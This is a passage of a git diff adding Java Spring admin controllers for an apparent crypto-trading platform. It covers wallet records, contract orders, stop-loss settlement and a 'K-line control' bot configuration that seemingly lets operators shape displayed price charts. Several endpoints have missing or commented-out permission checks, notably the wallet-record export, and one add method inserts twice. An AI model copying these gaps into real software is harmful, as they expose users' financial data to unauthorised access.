@PreAuthorize("@ss.hasPermi('bussiness:detail:list')") + @GetMapping("/list") + public TableDataInfo list(TAppUserDetail tAppUserDetail) + { + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if(!user.isAdmin()){ + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ + tAppUserDetail.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + startPage(); + List list = tAppUserDetailService.selectTAppUserDetailLists(tAppUserDetail); + return getDataTable(list); + } + + /** + * 导出用户详细信息列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:detail:export')") + @Log(title = "用户详细信息", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TAppUserDetail tAppUserDetail) + { + List list = tAppUserDetailService.selectTAppUserDetailList(tAppUserDetail); + ExcelUtil util = new ExcelUtil(TAppUserDetail.class); + util.exportExcel(response, list, "用户详细信息数据"); + } + + /** + * 获取用户详细信息详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:detail:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tAppUserDetailService.selectTAppUserDetailById(id)); + } + + /** + * 新增用户详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:detail:add')") + @Log(title = "用户详细信息", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TAppUserDetail tAppUserDetail) + { + return toAjax(tAppUserDetailService.insertTAppUserDetail(tAppUserDetail)); + } + + /** + * 修改用户详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:detail:edit')") + @Log(title = "用户详细信息", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TAppUserDetail tAppUserDetail) + { + return toAjax(tAppUserDetailService.updateTAppUserDetail(tAppUserDetail)); + } + + /** + * 删除用户详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:detail:remove')") + @Log(title = "用户详细信息", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tAppUserDetailService.deleteTAppUserDetailByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppWalletRecordController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppWalletRecordController.java new file mode 100644 index 0000000..19cb791 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppWalletRecordController.java @@ -0,0 +1,124 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TAppRecharge; +import com.ruoyi.bussiness.domain.TAppWalletRecord; +import com.ruoyi.bussiness.service.ITAppWalletRecordService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.poi.ExcelUtil; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.*; + +import javax.servlet.http.HttpServletResponse; +import java.util.List; + +/** + * 用户信息Controller + * + * @author ruoyi + * @date 2023-07-04 + */ +@RestController +@RequestMapping("/bussiness/wallet/record") +public class TAppWalletRecordController extends BaseController +{ + @Autowired + private ITAppWalletRecordService tAppWalletRecordService; + + /** + * 查询用户信息列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:record:list')") + @GetMapping("/list") + public TableDataInfo list(TAppWalletRecord tAppWalletRecord) + { + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if(!user.isAdmin()){ + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ + tAppWalletRecord.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + startPage(); + List list = tAppWalletRecordService.selectTAppWalletRecordList(tAppWalletRecord); + return getDataTable(list); + } + + /** + * 导出账变信息 + */ +// @PreAuthorize("@ss.hasPermi('bussiness:record:export')") + @Log(title = "账变信息", businessType = BusinessType.EXPORT) + @GetMapping("/export") + public void export(HttpServletResponse response, TAppWalletRecord tAppWalletRecord) + { +// LoginUser loginUser = SecurityUtils.getLoginUser(); +// SysUser user = loginUser.getUser(); +// if(!user.isAdmin()){ +// if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ +// tAppWalletRecord.setAdminParentIds(String.valueOf(user.getUserId())); +// } +// } + List list = tAppWalletRecordService.selectTAppWalletRecordList(tAppWalletRecord); + ExcelUtil util = new ExcelUtil(TAppWalletRecord.class); + util.exportExcel(response, list, "用户信息数据"); + } + + /** + * 获取用户信息详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:record:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tAppWalletRecordService.selectTAppWalletRecordById(id)); + } + + /** + * 新增用户信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:record:add')") + @Log(title = "用户信息", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TAppWalletRecord tAppWalletRecord) + { + return toAjax(tAppWalletRecordService.insertTAppWalletRecord(tAppWalletRecord)); + } + + /** + * 修改用户信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:record:edit')") + @Log(title = "用户信息", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TAppWalletRecord tAppWalletRecord) + { + return toAjax(tAppWalletRecordService.updateTAppWalletRecord(tAppWalletRecord)); + } + + /** + * 删除用户信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:record:remove')") + @Log(title = "用户信息", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tAppWalletRecordService.deleteTAppWalletRecordByIds(ids)); + } + + @PostMapping("/statisticsAmount") + public AjaxResult statisticsAmount() { + return AjaxResult.success(tAppWalletRecordService.statisticsAmount()); + } + +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppuserLoginLogController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppuserLoginLogController.java new file mode 100644 index 0000000..9fcc651 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppuserLoginLogController.java @@ -0,0 +1,108 @@ +package com.ruoyi.web.controller.bussiness; + +import javax.annotation.Resource; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.bussiness.domain.TAppuserLoginLog; +import com.ruoyi.bussiness.service.ITAppuserLoginLogService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; + +import com.ruoyi.common.core.page.TableDataInfo; + +import java.util.List; + +/** + * 系统访问记录Controller + * + * @author ruoyi + * @date 2023-06-30 + */ +@RestController +@RequestMapping("/bussiness/log") +public class TAppuserLoginLogController extends BaseController +{ + @Resource + private ITAppuserLoginLogService tAppuserLoginLogService; + + /** + * 查询系统访问记录列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:log:list')") + @GetMapping("/list") + public TableDataInfo list(TAppuserLoginLog tAppuserLoginLog) + { + startPage(); + List list = tAppuserLoginLogService.selectTAppuserLoginLogList(tAppuserLoginLog); + return getDataTable(list); + } + + /** + * 导出系统访问记录列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:log:export')") + @Log(title = "系统访问记录", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TAppuserLoginLog tAppuserLoginLog) + { + List list = tAppuserLoginLogService.selectTAppuserLoginLogList(tAppuserLoginLog); + ExcelUtil util = new ExcelUtil(TAppuserLoginLog.class); + util.exportExcel(response, list, "系统访问记录数据"); + } + + /** + * 获取系统访问记录详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:log:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tAppuserLoginLogService.selectTAppuserLoginLogById(id)); + } + + /** + * 新增系统访问记录 + */ + @PreAuthorize("@ss.hasPermi('bussiness:log:add')") + @Log(title = "系统访问记录", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TAppuserLoginLog tAppuserLoginLog) + { + return toAjax(tAppuserLoginLogService.insertTAppuserLoginLog(tAppuserLoginLog)); + } + + /** + * 修改系统访问记录 + */ + @PreAuthorize("@ss.hasPermi('bussiness:log:edit')") + @Log(title = "系统访问记录", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TAppuserLoginLog tAppuserLoginLog) + { + return toAjax(tAppuserLoginLogService.updateTAppuserLoginLog(tAppuserLoginLog)); + } + + /** + * 删除系统访问记录 + */ + @PreAuthorize("@ss.hasPermi('bussiness:log:remove')") + @Log(title = "系统访问记录", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tAppuserLoginLogService.deleteTAppuserLoginLogByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TBotKlineModelController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TBotKlineModelController.java new file mode 100644 index 0000000..dd15c35 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TBotKlineModelController.java @@ -0,0 +1,154 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.*; +import java.util.stream.Collectors; +import java.util.stream.Stream; +import javax.annotation.Resource; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.bussiness.domain.TContractCoin; +import com.ruoyi.bussiness.domain.TCurrencySymbol; +import com.ruoyi.bussiness.domain.vo.SymbolCoinConfigVO; +import com.ruoyi.bussiness.domain.vo.TBotKlineModelVO; +import com.ruoyi.bussiness.service.ITContractCoinService; +import com.ruoyi.bussiness.service.ITCurrencySymbolService; +import com.ruoyi.bussiness.service.ITSecondCoinConfigService; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TBotKlineModel; +import com.ruoyi.bussiness.service.ITBotKlineModelService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 控线配置Controller + * + * @author ruoyi + * @date 2023-08-09 + */ +@RestController +@RequestMapping("/bussiness/model") +public class TBotKlineModelController extends BaseController +{ + @Autowired + private ITBotKlineModelService tBotKlineModelService; + @Resource + private ITSecondCoinConfigService tSecondCoinConfigService; + @Resource + private ITCurrencySymbolService tCurrencySymbolService; + @Resource + private ITContractCoinService tContractCoinService; + /** + * 查询控线配置列表 + */ + @GetMapping("/list") + public TableDataInfo list(TBotKlineModel tBotKlineModel) + { + startPage(); + List list = tBotKlineModelService.selectTBotKlineModelList(tBotKlineModel); + return getDataTable(list); + } + + /** + * 导出控线配置列表 + */ + + @Log(title = "控线配置", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TBotKlineModel tBotKlineModel) + { + List list = tBotKlineModelService.selectTBotKlineModelList(tBotKlineModel); + ExcelUtil util = new ExcelUtil(TBotKlineModel.class); + util.exportExcel(response, list, "控线配置数据"); + } + + /** + * 获取控线配置详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:trade-robot:detail')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tBotKlineModelService.selectTBotKlineModelById(id)); + } + + /** + * 新增控线配置 + */ + + @Log(title = "控线配置", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TBotKlineModelVO tBotKlineModel) + { + return toAjax(tBotKlineModelService.insertTBotInfo(tBotKlineModel)); + } + + /** + * 修改控线配置 + */ + @PreAuthorize("@ss.hasPermi('bussiness:trade-robot:edit')") + @Log(title = "控线配置", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TBotKlineModelVO tBotKlineModel) + { + return toAjax(tBotKlineModelService.updateTBotKlineModel(tBotKlineModel)); + } + + /** + * 删除控线配置 + */ + @PreAuthorize("@ss.hasPermi('bussiness:trade-robot:remove')") + @Log(title = "控线配置", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tBotKlineModelService.deleteTBotKlineModelByIds(ids)); + } + @PostMapping("/symbolList") + public TableDataInfo list() + { + List rtn = new ArrayList<>(); + List coinList = tSecondCoinConfigService.getSymbolList(); + for (SymbolCoinConfigVO coin: coinList ) { + if(coin.getMarket().equals("binance")){ + TCurrencySymbol tCurrencySymbol1 = new TCurrencySymbol(); + tCurrencySymbol1.setSymbol(coin.getSymbol()); + tCurrencySymbol1.setCoin(coin.getCoin()); + tCurrencySymbol1.setShowSymbol(coin.getShowSymbol()); + rtn.add(tCurrencySymbol1); + } + } + List currencyList = tCurrencySymbolService.getSymbolList(); + for (TCurrencySymbol coin: currencyList ) { + TCurrencySymbol tCurrencySymbol1 = new TCurrencySymbol(); + tCurrencySymbol1.setSymbol(coin.getSymbol()); + tCurrencySymbol1.setCoin(coin.getCoin()); + tCurrencySymbol1.setShowSymbol(coin.getShowSymbol()); + rtn.add(tCurrencySymbol1); + } + List contractList = tContractCoinService.getCoinList(); + for (TContractCoin coin: contractList ) { + TCurrencySymbol tCurrencySymbol1 = new TCurrencySymbol(); + tCurrencySymbol1.setSymbol(coin.getSymbol()); + tCurrencySymbol1.setCoin(coin.getCoin()); + tCurrencySymbol1.setShowSymbol(coin.getShowSymbol()); + rtn.add(tCurrencySymbol1); + } + Set objects = new TreeSet<>(Comparator.comparing(o->(o.getShowSymbol()))); + objects.addAll(rtn); + + return getDataTable(Arrays.asList(objects.toArray())); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TCollectionOrderController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TCollectionOrderController.java new file mode 100644 index 0000000..3bd5283 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TCollectionOrderController.java @@ -0,0 +1,104 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TCollectionOrder; +import com.ruoyi.bussiness.service.ITCollectionOrderService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 【请填写功能名称】Controller + * + * @author ruoyi + * @date 2023-09-08 + */ +@RestController +@RequestMapping("/bussiness/collectionOrder") +public class TCollectionOrderController extends BaseController +{ + @Autowired + private ITCollectionOrderService tCollectionOrderService; + + /** + * 查询【请填写功能名称】列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:collectionorder:list')") + @GetMapping("/list") + public TableDataInfo list(TCollectionOrder tCollectionOrder) + { + startPage(); + List list = tCollectionOrderService.selectTCollectionOrderList(tCollectionOrder); + return getDataTable(list); + } + + /** + * 导出【请填写功能名称】列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:collectionorder:export')") + @Log(title = "【请填写功能名称】", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TCollectionOrder tCollectionOrder) + { + List list = tCollectionOrderService.selectTCollectionOrderList(tCollectionOrder); + ExcelUtil util = new ExcelUtil(TCollectionOrder.class); + util.exportExcel(response, list, "【请填写功能名称】数据"); + } + + /** + * 获取【请填写功能名称】详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:collectionorder:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tCollectionOrderService.selectTCollectionOrderById(id)); + } + + /** + * 新增【请填写功能名称】 + */ + @PreAuthorize("@ss.hasPermi('bussiness:collectionorder:add')") + @Log(title = "【请填写功能名称】", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TCollectionOrder tCollectionOrder) + { + return toAjax(tCollectionOrderService.insertTCollectionOrder(tCollectionOrder)); + } + + /** + * 修改【请填写功能名称】 + */ + @PreAuthorize("@ss.hasPermi('bussiness:collectionorder:edit')") + @Log(title = "【请填写功能名称】", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TCollectionOrder tCollectionOrder) + { + return toAjax(tCollectionOrderService.updateTCollectionOrder(tCollectionOrder)); + } + + /** + * 删除【请填写功能名称】 + */ + @PreAuthorize("@ss.hasPermi('bussiness:collectionorder:remove')") + @Log(title = "【请填写功能名称】", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tCollectionOrderService.deleteTCollectionOrderByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TContractCoinController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TContractCoinController.java new file mode 100644 index 0000000..d30e5c9 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TContractCoinController.java @@ -0,0 +1,103 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TContractCoin; +import com.ruoyi.bussiness.service.ITContractCoinService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * U本位合约币种Controller + * + * @author michael + * @date 2023-07-20 + */ +@RestController +@RequestMapping("/bussiness/ucontract") +public class TContractCoinController extends BaseController { + @Autowired + private ITContractCoinService tContractCoinService; + + /** + * 查询U本位合约币种列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ucontract:list')") + @GetMapping("/list") + public TableDataInfo list(TContractCoin tContractCoin) { + startPage(); + List list = tContractCoinService.selectTContractCoinList(tContractCoin); + return getDataTable(list); + } + + /** + * 导出U本位合约币种列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ucontract:export')") + @Log(title = "U本位合约币种", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TContractCoin tContractCoin) { + List list = tContractCoinService.selectTContractCoinList(tContractCoin); + ExcelUtil util = new ExcelUtil(TContractCoin.class); + util.exportExcel(response, list, "U本位合约币种数据"); + } + + /** + * 获取U本位合约币种详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ucontract:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) { + return success(tContractCoinService.selectTContractCoinById(id)); + } + + /** + * 新增U本位合约币种 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ucontract:add')") + @Log(title = "U本位合约币种", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TContractCoin tContractCoin) { + int result = tContractCoinService.insertTContractCoin(tContractCoin); + if (10001==result){ + return AjaxResult.error("币种请勿重复添加!"); + } + return toAjax(tContractCoinService.insertTContractCoin(tContractCoin)); + } + + /** + * 修改U本位合约币种 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ucontract:edit')") + @Log(title = "U本位合约币种", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TContractCoin tContractCoin) { + return toAjax(tContractCoinService.updateTContractCoin(tContractCoin)); + } + + /** + * 删除U本位合约币种 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ucontract:remove')") + @Log(title = "U本位合约币种", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) { + return toAjax(tContractCoinService.deleteTContractCoinByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TContractLossController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TContractLossController.java new file mode 100644 index 0000000..fc79a68 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TContractLossController.java @@ -0,0 +1,108 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TContractLoss; +import com.ruoyi.bussiness.service.ITContractLossService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import io.swagger.annotations.ApiOperation; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.*; + +import javax.servlet.http.HttpServletResponse; +import java.util.List; + +/** + * 止盈止损表Controller + * + * @author ruoyi + * @date 2023-07-25 + */ +@RestController +@RequestMapping("/bussiness/contractLoss") +public class TContractLossController extends BaseController +{ + @Autowired + private ITContractLossService tContractLossService; + + /** + * 查询止盈止损表列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:contractLoss:list')") + @GetMapping("/list") + public TableDataInfo list(TContractLoss tContractLoss) + { + startPage(); + List list = tContractLossService.selectTContractLossList(tContractLoss); + return getDataTable(list); + } + + /** + * 导出止盈止损表列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:contractLoss:export')") + @Log(title = "止盈止损表", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TContractLoss tContractLoss) + { + List list = tContractLossService.selectTContractLossList(tContractLoss); + ExcelUtil util = new ExcelUtil(TContractLoss.class); + util.exportExcel(response, list, "止盈止损表数据"); + } + + /** + * 获取止盈止损表详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:contractLoss:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tContractLossService.selectTContractLossById(id)); + } + + /** + * 新增止盈止损表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:contractLoss:add')") + @Log(title = "止盈止损表", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TContractLoss tContractLoss) + { + return toAjax(tContractLossService.insertTContractLoss(tContractLoss)); + } + + /** + * 修改止盈止损表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:contractLoss:edit')") + @Log(title = "止盈止损表", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TContractLoss tContractLoss) + { + return toAjax(tContractLossService.updateTContractLoss(tContractLoss)); + } + + /** + * 删除止盈止损表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:contractLoss:remove')") + @Log(title = "止盈止损表", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tContractLossService.deleteTContractLossByIds(ids)); + } + @PostMapping("/settMent") + @ResponseBody + public AjaxResult settMent(@RequestBody TContractLoss contractLoss) { + String result = tContractLossService.cntractLossSett( contractLoss); + if (!"success".equals(result)) { + return AjaxResult.error(result); + } + return AjaxResult.success(); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TContractOrderController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TContractOrderController.java new file mode 100644 index 0000000..6cceb80 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TContractOrderController.java @@ -0,0 +1,116 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TContractOrder; +import com.ruoyi.bussiness.service.ITContractOrderService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * U本位委托Controller + * + * @author michael + * @date 2023-07-20 + */ +@RestController +@RequestMapping("/bussiness/contractOrder") +public class TContractOrderController extends BaseController +{ + @Autowired + private ITContractOrderService tContractOrderService; + + /** + * 查询U本位委托列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:contractOrder:list')") + @GetMapping("/list") + public TableDataInfo list(TContractOrder tContractOrder) + { + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if(!user.isAdmin()){ + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ + tContractOrder.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + startPage(); + List list = tContractOrderService.selectTContractOrderList(tContractOrder); + return getDataTable(list); + } + + /** + * 导出U本位委托列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:contractOrder:export')") + @Log(title = "U本位委托", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TContractOrder tContractOrder) + { + List list = tContractOrderService.selectTContractOrderList(tContractOrder); + ExcelUtil util = new ExcelUtil(TContractOrder.class); + util.exportExcel(response, list, "U本位委托数据"); + } + + /** + * 获取U本位委托详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:contractOrder:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tContractOrderService.selectTContractOrderById(id)); + } + + /** + * 新增U本位委托 + */ + @PreAuthorize("@ss.hasPermi('bussiness:contractOrder:add')") + @Log(title = "U本位委托", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TContractOrder tContractOrder) + { + return toAjax(tContractOrderService.insertTContractOrder(tContractOrder)); + } + + /** + * 修改U本位委托 + */ + @PreAuthorize("@ss.hasPermi('bussiness:contractOrder:edit')") + @Log(title = "U本位委托", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TContractOrder tContractOrder) + { + return toAjax(tContractOrderService.updateTContractOrder(tContractOrder)); + } + + /** + * 删除U本位委托 + */ + @PreAuthorize("@ss.hasPermi('bussiness:contractOrder:remove')") + @Log(title = "U本位委托", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tContractOrderService.deleteTContractOrderByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TContractPositionController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TContractPositionController.java new file mode 100644 index 